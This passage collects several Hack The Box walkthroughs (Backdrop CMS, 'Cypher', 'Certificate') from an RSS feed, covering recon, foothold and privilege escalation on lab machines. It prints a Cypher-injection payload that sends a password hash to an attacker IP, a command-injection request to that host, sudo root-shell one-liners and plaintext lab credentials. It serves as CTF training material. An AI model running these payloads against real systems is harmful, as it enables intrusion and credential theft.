&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And bundle it with the webshell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc7d7975b066413f44274a57ee130a7b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8844d6c461732bf0d6978dfb4ed084f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I upload it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eeeba18beb1b3900003b324a25000cec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can find it here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab8dcb8028e32b30d095d5e1560f612c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d0d9a53325d2d2ce1f1487f57654aa3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get a foothold.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60d11b5d7405d3e1ee0f15746c33c580.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2b3093b946933958f396fdaa2a860ca0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then check whether &lt;code&gt;mysql&lt;/code&gt; is open:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4077022e115cef4b5fec2f93f47eae85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It is, let&apos;s try to access it.&lt;/p&gt;
&lt;h3&gt;mysql&lt;/h3&gt;
&lt;p&gt;I easily log in with the previous found creds:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
BackDropJ2024DS2024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/11575ab4ce377ef70cf6883cb1b5fdab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/44028664126771d2a833bd321417130a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/089d48fe268b42d192f14308bfcf3fc0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and copied over &lt;em&gt;john&lt;/em&gt; and &lt;em&gt;jobert&lt;/em&gt;&apos;s hashes since these had a higher priority.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d34d55dc058532504eb668ffce5d1e4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
Makes sense since &lt;strong&gt;Backdrop CMS&lt;/strong&gt; is based on &lt;strong&gt;Drupal&lt;/strong&gt;.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c630e699fcd29f12d8e56159b28b3617.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;hash cracking - FAIL&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ee04d5b1df59f6e2870b520529dbc3d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This went on for way too long so I tried out &lt;code&gt;john&lt;/code&gt; but that didn&apos;t give any result either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7dc2dc970bf56fb30d8dd23d814bdee3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then just tried to password spray the previous found pass and it worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/17a305ffc1d35663a252ff0c47e3d8a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebcf1ee8497b4eec7af7331c232a279a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1b6bfe2c03b0c3be1c32ed9f35bc38e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Bee binary&lt;/h2&gt;
&lt;p&gt;I went ahead and tried the binary to see what it does and found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ff6cf9ad0d6d5b887db7812256b76cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can thus use the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/bee --root=/var/www/html eval &apos;system(&quot;/bin/bash -p&quot;);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2d0b2846d667616746a2643b2b2ce901.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now I&apos;m &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8035f8984b58857df4e0c50d55b9196.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6921617b3a610d8f4583c53974a52570.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Cypher</title><link>https://maxk9999.vercel.app/posts/cypher</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/cypher</guid><pubDate>Sat, 12 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.57
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn cypher.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a468dcbd4033f89516c4f4d1a9a726f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and ran &lt;code&gt;gobuster&lt;/code&gt; in the background.&lt;/p&gt;
&lt;p&gt;I tried logging in with &lt;code&gt;admin - admin&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/66a37c31791cc208fb806f1c9b5b9444.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;caido&lt;/code&gt; I noticed that the login request went through the &lt;code&gt;/api&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8b4b05275c242ca7307cae4a0eae9b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the meantime &lt;code&gt;gobuster&lt;/code&gt; finished scanning:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/159ab161a4be678a6b4aa828cde3794f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed some interesting endpoints, I started off with &lt;code&gt;/testing&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d0e034e4b0cea345c57eeabacbddc72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded and unpacked the &lt;code&gt;java&lt;/code&gt; archive:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d9c4b7a39e891d8ff0a3b0370581c98.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was able to find some versions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0323f00bb7b08034590fddd5a3d8ae63.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Might come in handy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0d3a60d2af81eb86403facbd484a0dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing really useful here either.&lt;/p&gt;
&lt;h3&gt;Cypher Injection&lt;/h3&gt;
&lt;p&gt;I tried fiddling around with the parameters, thinking that there might be a &lt;code&gt;SQLi&lt;/code&gt;, but instead I found something new:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07ba8e9da5e4a5f96d7f356780e4fe15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I looked this error up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d5d8b42140f3cdb687c6ae050729230.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;d not heard of &lt;strong&gt;Cypher Injection&lt;/strong&gt; beforehand so this was interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/593d958a2f32f2e450dbdc02bae91497.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling down I find:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e93a90db70eddbeab6d20ddcc18fe27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Combining this with what we find in the error we can form a payload as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f77afd0ac99762bec0ad835dffc01ddc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; OR 1=1 LOAD CSV FROM &apos;http://10.10.14.17/test=&apos;+h.value AS y RETURN &apos;&apos;//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10052d72dac3badcb733e0e2797f8b30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ab518c003141f856bac29d5fc281168.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;John - FAIL&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2df97889be2259924d5d0b72ded0d9b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately I cannot crack it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e48d24d9b7a3e5a4abcde0aa108f52d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Cypher Injection -&amp;gt; RCE&lt;/h2&gt;
&lt;p&gt;Using the &lt;strong&gt;Cypher Injection&lt;/strong&gt; vulnerability I started testing for &lt;strong&gt;SSRF&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d10107407053f64e2b94d19671eaeba4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc333695ee1638fadae35186fb59ff13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I should now be able to tweak it in such a way that I could get a reverse shell out of it.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;backticks&lt;/code&gt; I found out that I could inject and execute commands such as &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;username&quot;: &quot;admin&apos; RETURN h.value AS hash UNION CALL custom.getUrlStatusCode(\&quot;http://10.10.14.17/`id`\&quot;) YIELD statusCode AS hash RETURN hash; //&quot;,
  &quot;password&quot;: &quot;admin&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c62701d1e0b8f3bd8bec32f5a0a1ca0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Knowing that I had full RCE I could now issue a reverse shell command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/313f88494623376033699670aa02706f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3b0702e63bdd9bb5e7606e28ae39a17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that I had a shell I started enumerating the target&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b23768fcb379ec36b8269262ad4a2a10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Going into the &lt;code&gt;~&lt;/code&gt; directory I found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/06b8fad02a91706a42e917a72eb68535.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cU4btyib.20xtCMCXkBmerhK
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hydra - Password Spray&lt;/h3&gt;
&lt;p&gt;A quick check at password respraying showed me that this password was reused by &lt;em&gt;graphasm&lt;/em&gt; for &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fca18f8f0264b3d67d15f257a5e6cda2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8283b0c0d184c5f14bbe430fb0da6f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/64c2731d701095d53882846285ca3745.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4c6cf8dee6e88f45032b612758c9c340.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I ran the binary and saw this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f5c4b1d269bb74859a1f2aaa7afcb923.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Combining it together with the &lt;code&gt;--debug&lt;/code&gt; we can run the following command and get &lt;code&gt;root.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/bbot -cy /root/root.txt --debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4d4f8b5859d3ba70d635bf9e9f522a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65ab193ce008bada1e345f73a51b59c6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b827720106a867b3d1bc8922c7f41278.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Certificate</title><link>https://maxk9999.vercel.app/posts/certificate</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/certificate</guid><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Start 17:22 14-07-2025&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.71
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn certificate.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Certificate | Your portal for certification
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-favicon: Unknown favicon MD5: FBA180716B304B231C4029637CCF6481
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-07-14 23:25:25Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-14T23:26:54+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-14T23:26:54+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
|_ssl-date: 2025-07-14T23:26:54+00:00; +8h00m00s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-14T23:26:54+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49691/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         syn-ack Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack Microsoft Windows RPC
49713/tcp open  msrpc         syn-ack Microsoft Windows RPC
49722/tcp open  msrpc         syn-ack Microsoft Windows RPC
49748/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50770/tcp): CLEAN (Timeout)
|   Check 2 (port 62565/tcp): CLEAN (Timeout)
|   Check 3 (port 43669/udp): CLEAN (Timeout)
|   Check 4 (port 52308/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-14T23:26:17
|_  start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6ce4b12f458689c5e8ef54dc57fee84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&apos;s got a variety of pages with forms to test.&lt;/p&gt;
&lt;p&gt;I tried sending a subscription mail and viewed the request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b2746290b107ac68ab1382fd0c24aada.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started testing for &lt;code&gt;xss&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5821531601e4555e67e617cfb69f221f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing, I went and copied the request and let &lt;code&gt;sqlmap&lt;/code&gt; run:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3434c4eece563d331688ee4b3cd64294.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the meantime &lt;code&gt;gobuster&lt;/code&gt; found an absolute boatload of endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2c25e1c3a036d2fa8bdde06f300c3d8d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I went on and tried registering an account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/194a44ac09e353e389c11d53f1fa0c9b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1dee168358e29a63e525c9f81952620a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently &lt;em&gt;test&lt;/em&gt; already exists? I filled in the same but for &lt;em&gt;test2&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/051a7f4fd68e4a19716074df73695ea1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went on and logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00f3a00ead386167664f40d65c038b3f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6dbde0d469eff74e68dfb513e8062728.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I clicked on one of the courses in the dashboard which took me here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/740cf738c2adf3ce12271e2f05afd844.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6ae90e71997826de67a450910113a80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some courses however don&apos;t have an ID yet, simply because they don&apos;t exist:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/11055c5534778127826da416be0893ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears though that we can upload them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f978fc877ea491853208ada3639713e7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce01742141c12768f2f858698088e1c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried uploading a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a91fd0b4817c1a251e1e1e3692b2795.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Guess I&apos;ll have to improvise.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Reverse Shell as xamppuser&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18b03dccfb8c3b9bd51193adadefbd37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3fdc102cd4328c3d6a313cacb200de14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/869fc892bcc25b432722232512195c51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I click on &lt;strong&gt;HERE&lt;/strong&gt; and it takes me to the &lt;code&gt;not_mal.pdf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dfda58ab1049fc3459cbeabf26423b95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But since I also added the &lt;code&gt;mal/shell.php&lt;/code&gt; directory inside the &lt;code&gt;zip&lt;/code&gt;, I can easily access it as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/26c6c38d34d131863156e2a696a51089.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
I screwed up with my payload:
&lt;img src=&quot;attachments/abd3964a84d516586596c3e565a0cf98.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;I used the &lt;code&gt;ivan&lt;/code&gt; shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a650ab1bfaefdaf4e11dea80c6e92a7e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9e560daa2f3fca49a4a8055ffe6b400.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6ec36c00c463c3c208e221db5a95f42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::tip
In order to not fuck something up and having to restart a shell, I got a double reverse shell to &lt;code&gt;penelope&lt;/code&gt;:
&lt;img src=&quot;attachments/035862bde96ed0c52367df1b8607b970.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be3a329b28e77e06d82309bbcea0148e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went over to the webroot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b46d80a259ed654ba35fe77e690bfa3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f31273d10f3a0bc68599805d8013c222.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;MySQL&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c4035aaffb16387d85cbfd4ba3af58d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certificate_webapp_user
cert!f!c@teDBPWD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It appears that &lt;code&gt;mysql&lt;/code&gt; is open as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/473f163ae8f7af1c1fc01dd9f874077d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried accessing it from kali:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c17a47c36ccf03a357e56e36e6084494.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But it just kept on hanging.&lt;/p&gt;
&lt;p&gt;Instead I hopped on over to our target, which conveniently had the binary inside the &lt;code&gt;C:\xampp\mysql\bin&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b37280a06bc61d45a87d795edb85d301.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f719c4d612f6e345ed939bfd601681e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since it yet again was not interactive I had to issue commands like above.&lt;/p&gt;
&lt;p&gt;Luckily enough we can easily guess the correct table that we&apos;re looking for.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\mysql.exe -u certificate_webapp_user -p&apos;cert!f!c@teDBPWD&apos; -e &apos;use certificate_webapp_db;SELECT * FROM users;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5bacbe5f95cef2408d1fd518b0a00b58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0911747c9b9f965abdb2e6bb19960e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sara.B&lt;/em&gt; matched so I had to crack her password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/432828cbd362aa086a1fcabcea42cf95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sara.b
Blink182
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By spraying the creds I found that I had &lt;code&gt;winrm&lt;/code&gt; access with &lt;em&gt;Sara.B&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c87541544ba7063fb38d881e191b0b3d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
